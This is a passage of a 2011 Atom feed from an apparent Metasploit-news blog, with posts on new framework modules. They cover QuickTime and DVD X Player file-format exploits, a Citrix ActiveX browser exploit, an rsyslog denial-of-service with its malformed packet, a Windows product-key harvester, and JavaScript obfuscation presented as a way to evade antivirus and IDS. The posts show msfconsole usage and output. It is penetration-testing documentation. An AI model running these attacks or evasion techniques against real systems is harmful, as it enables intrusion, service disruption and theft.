&lt;b&gt;Source&lt;/b&gt;:&amp;nbsp;&lt;a href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13691"&gt;http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13691&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;CVE Details&lt;/b&gt;: &lt;a href="http://www.cvedetails.com/cve-details.php?cve_id=CVE-2011-0257"&gt;http://www.cvedetails.com/cve-details.php?cve_id=CVE-2011-0257&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;Bug Info&lt;/b&gt;:&amp;nbsp;&lt;a href="http://www.securityfocus.com/bid/49144"&gt;http://www.securityfocus.com/bid/49144&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;Module Author(s)&lt;/b&gt;: MC&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Targets&lt;/b&gt;: Windows XP SP3 - QuickTime.qts 7.60.92.0&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Module Info&lt;/b&gt;:&lt;br /&gt;
&lt;blockquote&gt;
This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.&lt;br /&gt;
When opening a .mov file containing a specially crafted PnSize value, an attacker&lt;br /&gt;
may be able to execute arbitrary code.&lt;/blockquote&gt;
&lt;b&gt;Usage&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;msf &amp;gt; use exploit/windows/fileformat/apple_quicktime_pnsize
msf  exploit(apple_quicktime_pnsize) &amp;gt; show options

Module options (exploit/windows/fileformat/apple_quicktime_pnsize):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.mov          no        The file name.


Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3


msf  exploit(apple_quicktime_pnsize) &amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/NvvG_MgL6xI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/4945066613361873881/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2011/09/cve-2011-0257-apple-quicktime-pict.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/4945066613361873881?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/4945066613361873881?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/NvvG_MgL6xI/cve-2011-0257-apple-quicktime-pict.html" title="CVE 2011-0257 Apple QuickTime PICT PnSize Buffer Overflow r13691" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2011/09/cve-2011-0257-apple-quicktime-pict.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkIDSHs_eCp7ImA9WhdWEE4.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-1569319905280824668</id><published>2011-09-03T01:50:00.000-04:00</published><updated>2011-09-03T02:16:19.540-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-03T02:16:19.540-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="post" /><title>Windows Gather Product Key r13686</title><content type="html">&lt;b&gt;TL;DR&lt;/b&gt; Very simple module that extracts the Windows product key from the registry. There is currently a bit of a hitch with this module and other modules like it where you need to be in a process that matches the&amp;nbsp;architecture&amp;nbsp;of the system (x64/x86) when reading registry keys of that architecture.&lt;br /&gt;
&lt;br /&gt;
Author: 'Brandon Perry'&lt;br /&gt;
Source: &lt;a href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13686"&gt;http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13686&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running while in a x86 process on a x64 system:
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;meterpreter &amp;gt; run post/windows/gather/enum_ms_product_keys 

[*] Finding Microsoft key on DEMOBOX
meterpreter &amp;gt; 
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
You can see the meterpreter can't even see the 'DigitalProductId' registry value:
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;meterpreter &amp;gt; reg enumkey -k "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion"
Enumerating: HKLM\Software\Microsoft\Windows NT\CurrentVersion

  Keys ():

  Values (17):

	CurrentVersion
	CurrentBuild
	SoftwareType
	CurrentType
	InstallDate
	RegisteredOrganization
	RegisteredOwner
	SystemRoot
	InstallationType
	EditionID
	ProductName
	CurrentBuildNumber
	BuildLab
	BuildLabEx
	BuildGUID
	CSDBuildNumber
	PathName

meterpreter &amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
But run on the same box in a 64bit process (simply by migrating into one):
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;meterpreter &amp;gt; run post/windows/gather/enum_ms_product_keys 

[*] Finding Microsoft key on DEMOBOX

Keys
====

 Product             Registered Owner  Registered Organization  License Key
 -------             ----------------  -----------------------  -----------
 Windows 7 Ultimate  Admin                                      XXXXX-XXXXX-XXXXX-XXXXX-XXXXX


[*] Keys stored in: .msf4/loot/xxx_default_192.168.1.222_host.ms_keys_137257.txt
meterpreter &amp;gt; background
msf  exploit(psexec) &amp;gt; use post/windows/gather/enum_ms_product_keys 
msf  post(enum_ms_product_keys) &amp;gt; show options

Module options (post/windows/gather/enum_ms_product_keys):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf  post(enum_ms_product_keys) &amp;gt; run

&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/gSkVLTh3z1I" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/1569319905280824668/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2011/09/windows-gather-product-key-r13686.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/1569319905280824668?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/1569319905280824668?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/gSkVLTh3z1I/windows-gather-product-key-r13686.html" title="Windows Gather Product Key r13686" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2011/09/windows-gather-product-key-r13686.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0IARnc-eyp7ImA9WhdWEE8.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-6772117304051999348</id><published>2011-09-03T00:52:00.000-04:00</published><updated>2011-09-03T00:52:27.953-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-03T00:52:27.953-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><title>CVE 2011-3200 rsyslog Long Tag Off-By-Two DoS r13681</title><content type="html">&lt;div&gt;
&lt;b&gt;TL;DR:&lt;/b&gt; This module is pretty simple, it causes a&amp;nbsp;denial&amp;nbsp;of service in RSYSLOG servers running on port 512 by&amp;nbsp;sending a malformed RFC3164 (syslog rfc) packet. The malformed packet looks like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;174&amp;gt;#########(imagine 512 of these)#########:&lt;br /&gt;
&lt;br /&gt;
Disclosure Date: Sep 01 2011&lt;/div&gt;
&lt;div&gt;
Source:&amp;nbsp;&lt;a href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13681"&gt;http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13681&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
CVE Details:&amp;nbsp;&lt;a href="http://www.cvedetails.com/cve-details.php?cve_id=CVE-2011-3200"&gt;http://www.cvedetails.com/cve-details.php?cve_id=CVE-2011-3200&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bug Info:&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://www.rsyslog.com/potential-dos-with-malformed-tag/"&gt;http://www.rsyslog.com/potential-dos-with-malformed-tag/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bugzilla.redhat.com/show_bug.cgi?id=727644"&gt;https://bugzilla.redhat.com/show_bug.cgi?id=727644&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.ietf.org/rfc/rfc3164.txt"&gt;http://www.ietf.org/rfc/rfc3164.txt&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Module Info:&lt;/div&gt;
&lt;div&gt;
&lt;blockquote&gt;
This module triggers an off-by-two stack overflow in the&lt;br /&gt;
rsyslog daemon. This flaw is unlikely to yield code execution&lt;br /&gt;
but is effective at shutting down a remote log daemon. This bug&lt;br /&gt;
was introduced in version 4.6.0 and corrected in 4.6.8/5.8.5.&lt;br /&gt;
Compiler differences may prevent this bug from causing any&lt;br /&gt;
noticeable&amp;nbsp;result on many systems (RHEL6 is affected).&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre&gt;&lt;/pre&gt;
&lt;pre&gt;msf &amp;gt; use auxiliary/dos/syslog/rsyslog_long_tag 
msf  auxiliary(rsyslog_long_tag) &amp;gt; show options

Module options (auxiliary/dos/syslog/rsyslog_long_tag):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  514              yes       The target port

msf  auxiliary(rsyslog_long_tag) &amp;gt; set RHOST 192.168.1.144
RHOST =&amp;gt; 192.168.1.144
msf  auxiliary(rsyslog_long_tag) &amp;gt; run

[*] Sending message containing a malformed RFC3164 tag to 192.168.1.144
[*] Auxiliary module execution completed
msf  auxiliary(rsyslog_long_tag) &amp;gt; 
&lt;/pre&gt;
&lt;br /&gt;
And down she goes...&lt;/div&gt;
&lt;/div&gt;
&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/x0ReyC-uxnQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/6772117304051999348/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2011/09/cve-2011-3200-rsyslog-long-tag-off-by.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/6772117304051999348?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/6772117304051999348?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/x0ReyC-uxnQ/cve-2011-3200-rsyslog-long-tag-off-by.html" title="CVE 2011-3200 rsyslog Long Tag Off-By-Two DoS r13681" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2011/09/cve-2011-3200-rsyslog-long-tag-off-by.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D04MSH8yfCp7ImA9WhdXGUo.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-1643008444105589222</id><published>2011-09-02T09:43:00.000-04:00</published><updated>2011-09-02T11:06:29.194-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-02T11:06:29.194-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="rex" /><title>JS Obfuscation Backwards Compatibility Support r13674</title><content type="html">Recently heaplib.rb has gone through some changes in an effort to make the code more efficient. When used in conjunction with the new JSObfu obfuscator for javascript heaplib would first obfuscate the javascript using the old method and return it to the exploit which asked for it. The exploit would then re-obfuscate the javascript in most cases using the new methods. This means obfuscation occurred twice. 
&lt;br /&gt;
&lt;br /&gt;
Options were added to heaplib so that developers can specify which type of obfuscation to use, no obfuscation, the new JSObfu method, or the old method. If no option is specified heaplib defaults to the old method which is what older exploits expect. The addition of an opts hash to the heaplib API makes it much more flexible for developers and allows for more efficient code to be produced.
&lt;br /&gt;
&lt;br /&gt;
The following shows examples in irb depicting the two obfuscation options in action.
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;The old method:&lt;/span&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; js = Rex::Exploitation::ObfuscateJS.new("var foo = 'Hello, world';", 'Symbols' =&amp;gt; {'Variables' =&amp;gt; [ 'foo' ]}, 'Strings' =&amp;gt; true)
&lt;br /&gt;
=&amp;gt; #&lt;rex::exploitation::obfuscatejs:0x10863b4c0 @done="false," @dynsym="{}," @opts="{&amp;quot;Strings&amp;quot;="&gt;true, "Symbols"=&amp;gt;{"Namespaces"=&amp;gt;[], "Variables"=&amp;gt;["foo"], "Methods"=&amp;gt;[], "Classes"=&amp;gt;[]}}, @js="var foo = 'Hello, world';"&amp;gt;
&lt;br /&gt;&amp;gt;&amp;gt; js.obfuscate
&lt;br /&gt;=&amp;gt; "var YVRBdkTEwKoueFsTGqSvehyCHm = unescape(\"%48%65%6c%6c%6f%2c%20%77%6f%72%6c%64\");"
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The new method:&lt;/span&gt;
&lt;br /&gt;&amp;gt;&amp;gt; js = "var a = 1+2;"
&lt;br /&gt;=&amp;gt; "var a = 1+2;"
&lt;br /&gt;&amp;gt;&amp;gt; js = Rex::Exploitation::JSObfu.new(js)
&lt;br /&gt;=&amp;gt; #&lt;/rex::exploitation::obfuscatejs:0x10863b4c0&gt;&lt;rex::exploitation::obfuscatejs:0x10863b4c0 @done="false," @dynsym="{}," @opts="{&amp;quot;Strings&amp;quot;="&gt;&lt;rex::exploitation::jsobfu:0x1085efb10 ,="" @code="var a = 1+2;" @debug="false," @funcs="{}" @vars="{},"&gt;
&lt;br /&gt;&amp;gt;&amp;gt; js.obfuscate
&lt;br /&gt;=&amp;gt; nil
&lt;br /&gt;&amp;gt;&amp;gt; puts js
&lt;br /&gt;var ZIIDulErd = 'l'.length + 'JU'.length;
&lt;br /&gt;=&amp;gt; nil
&lt;br /&gt;
&lt;br /&gt;It should be apparent the new method of obfuscation is a lot easier to use as a developer. It also does a better job of obfuscating the javascript since it uses an actual lexer to parse the javascript and extract variable names and data types. This allows it to apply multiple methods to obfuscate a single data type.&lt;/rex::exploitation::jsobfu:0x1085efb10&gt;&lt;/rex::exploitation::obfuscatejs:0x10863b4c0&gt;
&lt;br /&gt;
&lt;rex::exploitation::obfuscatejs:0x10863b4c0 @done="false," @dynsym="{}," @opts="{&amp;quot;Strings&amp;quot;="&gt;&lt;rex::exploitation::jsobfu:0x1085efb10 ,="" @code="var a = 1+2;" @debug="false," @funcs="{}" @vars="{},"&gt;
&lt;/rex::exploitation::jsobfu:0x1085efb10&gt;&lt;/rex::exploitation::obfuscatejs:0x10863b4c0&gt;
&lt;br /&gt;
&lt;rex::exploitation::obfuscatejs:0x10863b4c0 @done="false," @dynsym="{}," @opts="{&amp;quot;Strings&amp;quot;="&gt;&lt;rex::exploitation::jsobfu:0x1085efb10 ,="" @code="var a = 1+2;" @debug="false," @funcs="{}" @vars="{},"&gt;For example in the &lt;a href="https://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/citrix_gateway_actx.rb"&gt;citrix_gateway_actx&lt;/a&gt; ActiveX clientside module starting on line 158:&lt;/rex::exploitation::jsobfu:0x1085efb10&gt;&lt;/rex::exploitation::obfuscatejs:0x10863b4c0&gt;
&lt;br /&gt;
&lt;br /&gt;
Tell it not to use obfuscation (:noobfu =&amp;gt; true) - since it uses the old method by default:&lt;br /&gt;
(NO OBFUscation, not Noob Fu)&lt;br /&gt;
&lt;blockquote&gt;
spray = heaplib(spray, {:noobfu =&amp;gt; true})&amp;nbsp;&lt;/blockquote&gt;
Apply the new JSObfu class to it:
&lt;br /&gt;
&lt;blockquote&gt;
spray = ::Rex::Exploitation::JSObfu.new(spray)&lt;/blockquote&gt;
And run the obfuscation method on it:
&lt;br /&gt;
&lt;blockquote&gt;
spray.obfuscate&lt;/blockquote&gt;
Javascript obfuscation like this helps to avoid detection by AV and IPS/IDS. It can be used anywhere you have javascript being used in your modules. Since Rex is a Ruby library not permanently tied to the Metasploit Framework, this means that you can use this obfuscation method outside of the framework as well.
&lt;br /&gt;
&lt;br /&gt;&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/E6TK6E7EPT4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/1643008444105589222/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2011/09/js-obfuscation-backwards-compatibility.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/1643008444105589222?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/1643008444105589222?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/E6TK6E7EPT4/js-obfuscation-backwards-compatibility.html" title="JS Obfuscation Backwards Compatibility Support r13674" /><author><name>bannedit</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2011/09/js-obfuscation-backwards-compatibility.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08MRXcyeyp7ImA9WhdXGEU.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-4177891306030633498</id><published>2011-09-01T11:10:00.000-04:00</published><updated>2011-09-01T11:11:24.993-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-01T11:11:24.993-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><title>CVE 2007-3068 dvdx_plf_bof r13673</title><content type="html">&lt;b&gt;TL;DR&lt;/b&gt; This module creates a malicious PLF file in the location you specify with the 'FILENAME' parameter. Like with all 'file format' modules it is up to you to find a way to get the malicious payload to the target.&lt;br /&gt;
&lt;br /&gt;
Disclosure Date: Jun 02 2007&lt;br /&gt;
&lt;br /&gt;
Source: &lt;a href="https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13673"&gt;https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13673&lt;/a&gt;&lt;br /&gt;
CVE Details: &lt;a href="http://cvedetails.com/cve-details.php?t=1&amp;amp;cve_id=CVE+2007-3068"&gt;http://cvedetails.com/cve-details.php?t=1&amp;amp;cve_id=CVE+2007-3068&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Info:&lt;br /&gt;
&lt;blockquote&gt;This module exploits a stack-based buffer overflow on DVD X Player&lt;br /&gt;
5.5 Pro and Standard. By supplying a long string of data in a plf&lt;br /&gt;
file (playlist), the MediaPlayerCtrl.dll component will attempt to&lt;br /&gt;
extract a filename out of the string, and then copy it on the stack&lt;br /&gt;
without any proper bounds checking, which casues a buffer overflow,&lt;br /&gt;
and results arbitrary code execution under the context of the user.&lt;br /&gt;
This module has been designed to target common Windows systems such&lt;br /&gt;
as: Windows XP SP2/SP3, Windows Vista, and Windows 7.&lt;/blockquote&gt;&lt;br /&gt;
URL: &lt;a href="http://www.exploit-db.com/exploits/17745"&gt;http://www.exploit-db.com/exploits/17745&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Targets available in module currently:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;DVD X Player 5.5 Standard or Pro&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;msf &amp;gt; use exploit/windows/fileformat/dvdx_plf_bof
msf  exploit(dvdx_plf_bof) &amp;gt; show options

Module options (exploit/windows/fileformat/dvdx_plf_bof):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.plf          no        The file name


Exploit target:

   Id  Name
   --  ----
   0   DVD X Player 5.5 Standard / Pro


&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/cGe9xRyFGX0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/4177891306030633498/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2011/09/cve-2007-3068-dvdxplfbof-r13673.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/4177891306030633498?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/4177891306030633498?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/cGe9xRyFGX0/cve-2007-3068-dvdxplfbof-r13673.html" title="CVE 2007-3068 dvdx_plf_bof r13673" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2011/09/cve-2007-3068-dvdxplfbof-r13673.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0UHQHYyfCp7ImA9WhdXGEw.&quot;"><id>tag:blogger.com,1999:blog-5284173584487932213.post-5880030364697377198</id><published>2011-08-31T11:09:00.000-04:00</published><updated>2011-08-31T13:20:31.894-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-31T13:20:31.894-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><title>CVE 2011-2882 citrix_gateway_actx r13666</title><content type="html">&lt;b&gt;TL;DR&lt;/b&gt;&amp;nbsp;This module hosts an ActiveX Control on the SRVPORT via the URIPATH (so http://attacker:8080/X5vt52 ) if you leave the defaults. The will work on anyone who has the ActiveX Control installed as long as you can get them to surf to the page. on SRVPORT&lt;br /&gt;
&lt;br /&gt;
Disclosure Date: Jul 14 2011&lt;br /&gt;
&lt;br /&gt;
Source:&amp;nbsp;&lt;a href="https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13666"&gt;https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13666&lt;/a&gt;&lt;br /&gt;
CVE Details:&amp;nbsp;&lt;a href="http://cvedetails.com/cve-details.php?t=1&amp;amp;cve_id=CVE+2011-2882"&gt;http://cvedetails.com/cve-details.php?t=1&amp;amp;cve_id=CVE+2011-2882&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Info:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;This module exploits a stack based buffer overflow in the Citrix Gateway ActiveX control. Exploitation of this vulnerability requires user interaction. The victim must click a button in a dialog to begin a scan. This is typical interaction that users should be accustom to.&lt;br /&gt;
Exploitation results in code execution with the privileges of the user who browsed to the exploit page.&lt;/blockquote&gt;&amp;nbsp;URL:&amp;nbsp;&lt;a href="https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=929"&gt;https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=929&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Targets available in module currently:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;IE 6 on Windows XP SP3&lt;/li&gt;
&lt;li&gt;IE 7 on Windows XP SP3&lt;/li&gt;
&lt;li&gt;IE 7 on Windows Vista&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;
&lt;pre&gt;msf &amp;gt; use exploit/windows/browser/citrix_gateway_actx
msf  exploit(citrix_gateway_actx) &amp;gt; show options

Module options (exploit/windows/browser/citrix_gateway_actx):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Automatic



&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;img src="http://feeds.feedburner.com/~r/MetasploitMinute/~4/UaNiMUeEPCw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.metasploitminute.com/feeds/5880030364697377198/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.metasploitminute.com/2011/08/cve-2011-2882-citrixgatewayactx-r13666.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/5880030364697377198?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5284173584487932213/posts/default/5880030364697377198?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/MetasploitMinute/~3/UaNiMUeEPCw/cve-2011-2882-citrixgatewayactx-r13666.html" title="CVE 2011-2882 citrix_gateway_actx r13666" /><author><name>Rob Fuller</name><uri>https://plus.google.com/112597020392561644851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh5.googleusercontent.com/-p_7_mIRAhdI/AAAAAAAAAAI/AAAAAAAADK8/lnUzFLP6dnU/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.metasploitminute.com/2011/08/cve-2011-2882-citrixgatewayactx-r13666.html</feedburner:origLink></entry></feed>
